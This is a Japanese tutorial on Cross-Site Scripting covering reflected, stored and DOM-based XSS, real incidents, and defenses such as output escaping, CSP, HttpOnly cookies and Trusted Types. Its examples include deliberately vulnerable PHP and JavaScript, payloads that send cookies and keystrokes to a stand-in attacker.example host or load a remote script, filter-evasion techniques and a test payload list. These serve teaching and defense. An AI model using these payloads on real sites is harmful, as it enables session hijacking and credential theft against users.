Cross-Site Scripting (XSS) #
クロスサイトスクリプティング (Cross-Site Scripting、略称 XSS) は、Web アプリケーションに悪意のあるスクリプトを注入し、それを 別のユーザのブラウザ上で実行させる 脆弱性である。攻撃の本質は「サイトが本来は信頼してよいはずのコンテキスト (オリジン) で、攻撃者のコードを動かす」点にある。ブラウザは同一オリジンのスクリプトに対してそのオリジンが持つ全ての権限を与えるため、XSS が成立した瞬間に攻撃者は被害者のセッション・Cookie・DOM・XHR/fetch 経由の API 呼び出しなど、ほぼあらゆるものにアクセスできる。
1990 年代後半から知られている古典的な脆弱性でありながら、SPA・SSR・WebView・サードパーティスクリプトの増加によって 2020 年代でも形を変えて発生し続けており、OWASP Top 10 ではインジェクション系の代表として常連となっている。
1. XSS とは何か #
1.1 ブラウザの信頼境界 (Same-Origin Policy) #
ブラウザのセキュリティモデルの根幹は Same-Origin Policy (SOP) である。SOP は「同じ origin (scheme + host + port) に属するスクリプト同士は互いを自由に読み書きできるが、異なる origin のスクリプトは互いを操作できない」というルールである。たとえば https://example.com 上のスクリプトは https://evil.example のスクリプトの DOM を読めず、Cookie もアクセスできない。
この境界が「あなたのサイトの信頼境界」になっている。XSS の致命性は、攻撃者のコードを 被害サイトのオリジンの中側で 実行させてしまう点にある。境界の外から殴るのではなく、境界の中に入って同じ権限で動くため、SOP は何の保護も提供しない。
1.2 なぜ "Cross-Site" と呼ばれるか #
歴史的に、初期の攻撃シナリオでは攻撃者が「別のサイト (cross-site)」に被害者を誘導し、そこに置いた仕掛けで対象サイトのスクリプトを実行させる形を取った。例えば攻撃者の掲示板に <script src="https://victim.example/..."> のような仕掛けを置く、というように。現在の XSS の大半は対象サイトそのものに注入する形なので命名は実態と合っていないが、慣習として残っている。CSRF (Cross-Site Request Forgery) と紛らわしいが、XSS はスクリプト実行、CSRF はリクエスト送信 と全く別物である。
1.3 OWASP Top 10 における位置づけ #
XSS は OWASP Top 10 において長年 A03:2021 Injection の代表的サブカテゴリとして扱われている (2017 版までは独立した項目 A07)。SQL インジェクションと並んでインジェクション系の二大巨頭である。フレームワークの自動エスケープが広まったことで「死んだ脆弱性」と評されることもあるが、後述する DOM XSS / mXSS / サードパーティ JS 経由の Magecart 攻撃などにより、現在もインシデント報告の上位にいる。

2. XSS の 3 タイプ #
XSS は攻撃ペイロードがどこから・どう被害者のブラウザに到達するかによって 3 つに分類される。それぞれ検出方法も対策の優先度も微妙に異なる。

2.1 反射型 (Reflected XSS) #
URL のクエリパラメータや POST ボディに含まれた攻撃文字列が、サーバから返ってくる HTML にそのままエコーされ、被害者のブラウザで実行される型。攻撃者は被害者に 悪意ある URL をクリックさせる 必要がある。
典型的なシナリオ:
- 攻撃者が
https://victim.example/search?q=<script>...</script>のような URL を作る - メール・SNS・別サイト経由で被害者にクリックさせる
- サーバが
qパラメータをそのまま HTML に出力する実装だと、被害者のブラウザでスクリプトが実行される
URL に依存するため攻撃の到達範囲は狭いが、フィッシングと組み合わさると刺さりやすい。
2.2 蓄積型 (Stored XSS / Persistent XSS) #
攻撃ペイロードが サーバ側のストレージ (DB / ファイル / キャッシュ) に保存 され、被害者がそのページを開くたびに発火する型。掲示板の投稿、商品レビュー、ユーザプロフィール、コメント欄、メッセージ機能などが典型的な侵入口になる。
被害者は単にサイトを通常通り閲覧するだけで攻撃を受けるため、圧倒的に危険度が高い。後述する Samy ワームのように一度仕込まれた XSS が他のユーザのアカウントを次々と汚染し、感染を爆発的に拡げるパターンになり得る。
2.3 DOM Based XSS #
サーバの応答 HTML には何の問題もないが、クライアント側の JavaScript が DOM を操作する過程で発火する 型。サーバを一切経由しないため、サーバサイドの WAF やテンプレートエンジンのエスケープでは防げない。
危険な「ソース」と「シンク」の組み合わせで発生する。代表的なソース: location.hash, location.search, document.referrer, postMessage, localStorage など。代表的なシンク: innerHTML, outerHTML, document.write, eval, setTimeout(string), Function(), jQuery の $() の HTML 引数など。
例:
// 悪い実装: location.hash の中身を DOM に直接埋め込む
document.getElementById('view').innerHTML = location.hash.substring(1);
被害者が https://victim.example/page#<img src=x onerror=alert(1)> にアクセスしただけで XSS が成立する。SPA フレームワーク (React/Vue) でも dangerouslySetInnerHTML や v-html を使うと同じ穴を空けてしまう。
2.4 補足: Self-XSS と Blind XSS #
- Self-XSS: 被害者が自分自身のブラウザのコンソールに攻撃コードを貼り付けてしまうケース。ソーシャルエンジニアリングであって脆弱性ではない。Facebook 等の DevTools には「貼り付けるな」という警告が出る。
- Blind XSS: 攻撃結果が攻撃者の画面に直接見えない蓄積型 XSS。例えば管理画面の問い合わせ一覧でだけ発火するなど。XSS Hunter のような外部受信サービスでコールバックを集めて検出する。
3. 攻撃の仕組み (具体例) #
3.1 反射型の最小例 #
サーバ側の脆弱な PHP:
<?php
// search.php
$q = $_GET['q'] ?? '';
echo "<h1>検索結果: $q</h1>"; // ★ エスケープなしで埋め込み
?>
攻撃 URL:
https://victim.example/search.php?q=<script>fetch('https://attacker.example/?c='+document.cookie)</script>
被害者がこの URL をクリックすると、document.cookie (セッション Cookie 含む) が攻撃者のサーバに送信される。
3.2 蓄積型の最小例 #
掲示板アプリで投稿本文をエスケープせずに表示している場合:
// post-view.php (脆弱)
echo "<div class='comment'>" . $row['body'] . "</div>";
攻撃者は次の本文を投稿する:
<img src=x onerror="
var s = document.createElement('script');
s.src = 'https://attacker.example/payload.js';
document.body.appendChild(s);
">
以降このスレッドを開く全てのユーザのブラウザで、攻撃者の payload.js が読み込まれて実行される。被害者は何もクリックしていない。
3.3 DOM Based の最小例 #
<!-- victim.example/profile.html -->
<div id="welcome"></div>
<script>
const name = new URLSearchParams(location.search).get('name');
document.getElementById('welcome').innerHTML = 'ようこそ ' + name + ' さん';
</script>
URL:
https://victim.example/profile.html?name=<img src=x onerror=alert(document.domain)>
サーバの応答 HTML にはペイロードが一切含まれない (クエリは ?name= の中だけ) ので、サーバ側 WAF やテンプレートエスケープでは検知できない。クライアント側で innerHTML に渡された瞬間にスクリプトが実行される。
3.4 ペイロードの構築テクニック #
実環境では <script> タグや on* 属性がブロックされていることが多い。攻撃者は次のような工夫で回避を試みる。
- タグの大文字小文字混在:
<ScRiPt>(古い WAF の正規表現対策) - 属性ベクター:
<img src=x onerror=...>,<svg onload=...>,<a href="javascript:..." > - イベントハンドラの多様化:
onclick,onmouseover,onfocus,onerror,onload,onanimationend - エンコーディング: HTML エンティティ (
j=j)、URL エンコード、Unicode エスケープ (\u0061) - JavaScript URL:
<a href="javascript:alert(1)"> - CSS インジェクション:
<style>のexpression()(古い IE)、属性セレクタによる値漏洩
ペイロード集として知られているのが PortSwigger の XSS Cheat Sheet や OWASP Filter Evasion Cheat Sheet で、数百のバリエーションがまとまっている。
4. XSS で実際にできること #
「アラートを出すだけ」のデモが多いせいで XSS を軽視する開発者が一定数いるが、実際の攻撃は次のようなことを行う。
4.1 セッション乗っ取り (Cookie 窃取) #
最も古典的かつ強力な攻撃。document.cookie を攻撃者サーバに送信すれば、被害者のセッション ID をそのまま使ってログイン状態を奪える (Session Hijacking)。HttpOnly フラグが付いていない Cookie が脆弱 で、現代のフレームワークはデフォルトで HttpOnly を付けるが、独自実装やレガシーシステムでは抜けがちな対策である。
4.2 仮装ログインフォームによるクレデンシャル奪取 #
ページ内に偽のログインフォームを innerHTML で差し込み、入力された ID/パスワードを攻撃者サーバに送信する。URL バーは正規ドメインを表示し続けるため、被害者は「正規サイトに入力した」と認識して疑わない。クレデンシャル奪取の手段としてフィッシングよりも遥かに成功率が高い。
4.3 キーロガー #
document.addEventListener('keydown', e => fetch('https://attacker/?k='+e.key)) のような数行で、ページ内のキー入力を全て攻撃者に送信できる。クレジットカード入力ページ、社内システム、メール本文など、どんな入力でもリアルタイムに盗み取れる。これは後述する Magecart 系攻撃の典型パターン。
4.4 内部 API の悪用 (XSS + CSRF) #
被害者のブラウザは正規セッション Cookie を保持しているため、攻撃スクリプトは fetch() で被害者のオリジンの任意の API を呼び出せる。CSRF トークンが要求される API でも、XSS スクリプトはトークン埋め込み HTML を読めるので CSRF 対策をすべて回避 できる。送金・パスワード変更・メールアドレス変更など、被害者として実行可能な操作はすべて攻撃者の意のままになる。
4.5 ブラウザ内ボットネット (BeEF) #
BeEF (Browser Exploitation Framework) は XSS で被害者のブラウザに「フック」を仕込み、攻撃者の管理画面からリアルタイム操作する OSS。被害者ブラウザを多数同時に操って、ネットワーク内部のスキャン、内部 IP 経由のサービスへの攻撃、Java/Flash の旧脆弱性を突いた OS 侵入、社内 Slack/Office365 のセッション窃取などができる。ペネトレーションテストの実演でよく使われる。
4.6 ワーム (Samy 型) #
蓄積型 XSS は自己増殖型のワームに化ける可能性がある。攻撃ペイロード自体が「このプロフィールを見たユーザのプロフィールにも同じペイロードを書き込む」処理を含めば、感染は指数関数的に拡がる。2005 年の Samy ワーム (後述) はまさにこのパターンで MySpace を 20 時間で停止に追い込んだ。
5. 著名な XSS 事件 #
5.1 Samy Worm (MySpace, 2005) #
XSS ワームの歴史的事件。当時 19 歳の Samy Kamkar 氏が MySpace のプロフィール機能の蓄積型 XSS を悪用し、「彼のプロフィールを開いたユーザは Samy を友達追加し、自分のプロフィールにも同じペイロードを書き込む」ワームを公開した。約 20 時間で 100 万人以上を感染 させ、MySpace は緊急停止に追い込まれた。Samy 氏は不正アクセス禁止法違反で起訴され、3 年の保護観察と社会奉仕、コンピュータ使用制限の処分を受けた。
技術的には、CSS の background:url() 内に JavaScript を埋め込む、innerHTML で再帰的に DOM を書き換える、フィルタを java\nscript: の改行で回避する、など複数の独創的なテクニックを組み合わせていた。XSS の破壊力を世間に知らしめた事件である。
5.2 TweetDeck (2014) #
Twitter 公式のクライアントアプリ TweetDeck で蓄積型 XSS が発見され、悪用ツイートが何万件も拡散した。ペイロードを含むツイートを表示したユーザのアカウントが自動的にそのツイートをリツイートする仕組みで、Samy ワームと同じパターンが Twitter スケールで起きた。Twitter は数時間でサービスを停止して修正をリリースした。
5.3 British Airways / Ticketmaster (Magecart, 2018) #
XSS は「自分のサイトのコードを書く時の話」と思われがちだが、現代の Web は大量のサードパーティ JS を読み込んでいる。攻撃グループ Magecart はサードパーティスクリプト (タグマネージャ・チャットウィジェット・決済ヘルパー) のサーバを侵害し、そこから配信される JS にカード情報スキミングコードを注入した。
- British Airways: 38 万件のカード情報流出。GDPR 違反で当初 £183M (約 250 億円) の罰金を命じられた (後に £20M に減額)。
- Ticketmaster: チャットウィジェット経由で 4 万件以上が流出。
- Newegg: 1 ヶ月にわたりカード情報がスキミングされた。
サーバ側コードに XSS は無くても、<script src="https://cdn.thirdparty.example/widget.js"> を信頼している時点で、その CDN が侵害されれば自社サイトに XSS が同居したのと同じになる。これが現代の XSS の主戦場のひとつ。
5.4 教訓 #
これらの事件に共通するのは、「フレームワークの自動エスケープを信じていれば安全」「自社のコードはちゃんと書いている」は通用しない という点である。古典的な「文字列連結で HTML 組み立て」型の XSS は減ったが、(a) DOM 操作経路、(b) サードパーティ JS 経路、(c) WebView や postMessage 経路など、攻撃面は逆に拡がっている。
6. 防御策 (多層防御) #
XSS 防御は単一の対策で完結しない。入力検証・出力エスケープ・CSP・Cookie 属性・サニタイザ・Trusted Types を多層に組み合わせ、1 層が破れても次の層で被害を限定する設計が標準である。

6.1 出力エスケープ (コンテキスト別) #
最も重要な対策。ユーザ入力を HTML に出力する際は、出力するコンテキストに応じた エスケープを行う。
| コンテキスト | エスケープ対象 |
|---|---|
| HTML 本文 | &, <, >, ", ' を文字参照化 |
| HTML 属性値 (引用符あり) | 上記 + 属性の引用符に対応 |
| HTML 属性値 (引用符なし) | スペース・タブ・改行・= なども |
| JavaScript 文字列リテラル | \, ', ", 改行, </, Unicode 制御 |
| URL コンテキスト (href/src) | javascript: スキーム禁止 + URL エンコード |
| CSS コンテキスト | expression() 禁止 + バックスラッシュエスケープ |
PHP の htmlspecialchars($s, ENT_QUOTES | ENT_HTML5, 'UTF-8')、Blade の {{ $s }} (自動)、Twig の {{ s }} (自動)、React の JSX (自動) などが標準の手段。コンテキスト混在を避ける (HTML の中に JS を埋め込むなら HTML エスケープと JS エスケープの両方が必要) のがコツ。
6.2 Content Security Policy (CSP) #
ブラウザに「このページが読み込んでよいスクリプトの出所」を宣言するレスポンスヘッダ。XSS が成功してもスクリプトが実行されないようにする 最後の砦。
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example; object-src 'none'; base-uri 'self'; frame-ancestors 'none'
主な指令:
script-src 'self'— 同一オリジンのスクリプトのみ許可'unsafe-inline'を 絶対に付けない (これがあると XSS 防御として無意味)- nonce ベース (
script-src 'nonce-r4nd0m') または hash ベース ('sha256-...') で必要なインライン JS のみ許可 object-src 'none'— Flash/PDF 経由の脆弱性も塞ぐbase-uri 'self'—<base>タグによる URL 解決の改竄を防ぐreport-uri/report-to— 違反をサーバに送信して検知
CSP は導入時にレポートオンリーモード (Content-Security-Policy-Report-Only) で運用して既存違反を洗い出してから本番適用するのが定石。
6.3 HttpOnly / SameSite Cookie #
セッション Cookie に HttpOnly 属性 を付ければ JavaScript から document.cookie で読み出せなくなる。これで XSS による Cookie 窃取攻撃は無効化される。SameSite 属性 (Strict / Lax) は CSRF 対策と兼用で、第三者サイトからの Cookie 送信を制限する。
Set-Cookie: session_id=abc; HttpOnly; Secure; SameSite=Lax; Path=/
6.4 入力バリデーション (補助的) #
「許容する文字種・長さ・形式」を入力時点で検査する。XSS 単独の対策としては不十分 (出力時のエスケープ抜けは防げない) だが、補助的な防御層として有効。ブラックリスト方式 (危険な文字を弾く) は破られる ので、ホワイトリスト方式 (許可する文字だけ通す) を基本にする。
6.5 フレームワーク自動エスケープ #
現代のテンプレートエンジンはほぼ全て自動エスケープがデフォルト:
- React: JSX の
{value}は自動エスケープ。dangerouslySetInnerHTMLだけが例外。 - Vue:
{{ value }}は自動。v-htmlだけが例外。 - Angular:
{{ value }}は自動。bypassSecurityTrustHtml()を呼ばない限り安全。 - Blade (Laravel):
{{ $value }}は自動。{!! !!}だけが例外。 - Twig: 自動。
|rawフィルタだけが例外。
つまり「例外の方」を grep して全件レビューすればよい。grep -rn 'dangerouslySetInnerHTML\|v-html\|{!!\||raw' が定番チェック。
6.6 Trusted Types (DOM XSS 対策) #
DOM XSS の根本対策として Chromium 系で実装が進んでいる Web 標準。innerHTML のような危険シンクに 文字列を直接渡すことを禁止し、サニタイズ済みオブジェクト経由でのみ許可 する仕組み。
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types default
これを有効にすると、element.innerHTML = userInput; がランタイムエラーになり、開発者は明示的な TrustedHTML ポリシーを経由する必要が出る。DOM XSS をコードレビューではなくブラウザ側で機械的に防げる強力な機能。
6.7 サニタイザライブラリ (DOMPurify) #
ユーザ入力した HTML をそのまま表示する必要がある場合 (ブログ記事、リッチテキストエディタの出力など) は、DOMPurify のような実績のあるサニタイザを使う。自前で正規表現で <script> を弾こうとしない こと。XSS の歴史は自前フィルタが回避されてきた歴史でもある。
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(userHtml);
element.innerHTML = clean; // 安全
7. テストと検出 #
7.1 手動テスト #
入力フィールド・URL パラメータ・HTTP ヘッダ (Referer / User-Agent) など、ユーザが影響を与えうる全てに XSS ペイロード集を投入して、応答 HTML やレンダリング結果を見る。代表的なペイロード:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
'"><script>alert(1)</script>
javascript:alert(1)
DOM XSS は応答 HTML だけ見ても検出できないので、ブラウザ DevTools で実際に DOM 操作の結果を確認する必要がある。
7.2 自動スキャナ #
- OWASP ZAP — OSS の動的スキャナ。アクティブスキャンモードで XSS ペイロードを総当たり。
- Burp Suite — 業界標準のプロキシツール。Pro 版の Scanner は XSS 検出精度が非常に高い。
- Acunetix / Netsparker — 商用スキャナ。DOM XSS も解析可能。
自動スキャナは反射型・蓄積型は得意だが、DOM XSS の検出は 静的解析 + ヘッドレスブラウザ実行 の組み合わせが必要で、完全自動化はまだ難しい。
7.3 ソースコード静的解析 (SAST) #
ソースコードから「危険なソース → 危険なシンク」のデータフローを追跡するツール。Semgrep / CodeQL / SonarQube などで XSS パターンを検出できる。フレームワークの危険関数 (dangerouslySetInnerHTML 等) の使用箇所を機械的に洗い出すのに有効。
7.4 CSP レポートと runtime detection #
本番環境で Content-Security-Policy-Report-Only を有効にすると、もし XSS が混入していた場合 (もしくは正規スクリプトが意図せず違反した場合) にレポートが届く。実環境で実際に発火した XSS の検出 に唯一近づける方法。
8. 関連する攻撃 (XSS ファミリ) #
XSS と紛らわしい・近縁の攻撃を整理しておく。
8.1 XS-Leaks (Cross-Site Leaks) #
別オリジンのサイトから「被害者が対象サイトにログインしているか」「特定のリソースが存在するか」などの 副次情報を漏洩させる 攻撃。直接スクリプトを実行はしないが、<img> のロード時間や frame-busting の挙動、window.postMessage の応答時間などのサイドチャネルを使う。
8.2 mXSS (Mutation XSS) #
サニタイザを通過した HTML が、ブラウザの DOM パース時に変形 (mutation) されて 新たな XSS ベクターを生み出す高度な攻撃。<noscript> <template> <math> <svg> の中で innerHTML を介すると挙動が変わる、といった仕様の隅をついた攻撃で、DOMPurify でさえ過去に CVE が出ている (2019, 2020, 2024)。
8.3 XSSI (Cross-Site Script Inclusion) #
被害者のセッションを使って機密情報を含む JSON / JSONP を別オリジンから <script src="..."> で読み込み、副作用を観察する攻撃。応答に攻撃者の制御可能なコールバックや配列リテラルが含まれていると情報漏洩が発生する。Google の研究で広く知られるようになり、現代の API は )]}' のような prefix で対策している。
9. まとめ #
XSS は「20 年前の脆弱性」ではなく、フォーマットを変えながら 2026 年現在も最大級の Web 脅威の一つ であり続けている。フレームワークの自動エスケープで「文字列連結型 XSS」は減ったものの、DOM 操作、サードパーティ JS、WebView、postMessage など新しい攻撃面が次々と現れている。
開発者として最低限押さえるべきは次の通り:
- 出力時のコンテキスト別エスケープ を最優先で習慣化する
- CSP を nonce ベースで導入 し、
'unsafe-inline'を消す - HttpOnly / Secure / SameSite をセッション Cookie に必ず付ける
dangerouslySetInnerHTML/v-html/{!! !!}の使用箇所を全件レビュー- DOMPurify をリッチテキスト出力に使う (自前サニタイザは作らない)
- Trusted Types を新規プロジェクトで有効化する
- サードパーティ JS の出所を制限し、SRI (Subresource Integrity) を付ける
「自分のサイトは大丈夫」と思った瞬間に Magecart 系の事件が始まる。多層防御を継続的に保つことだけが現実的な対策である。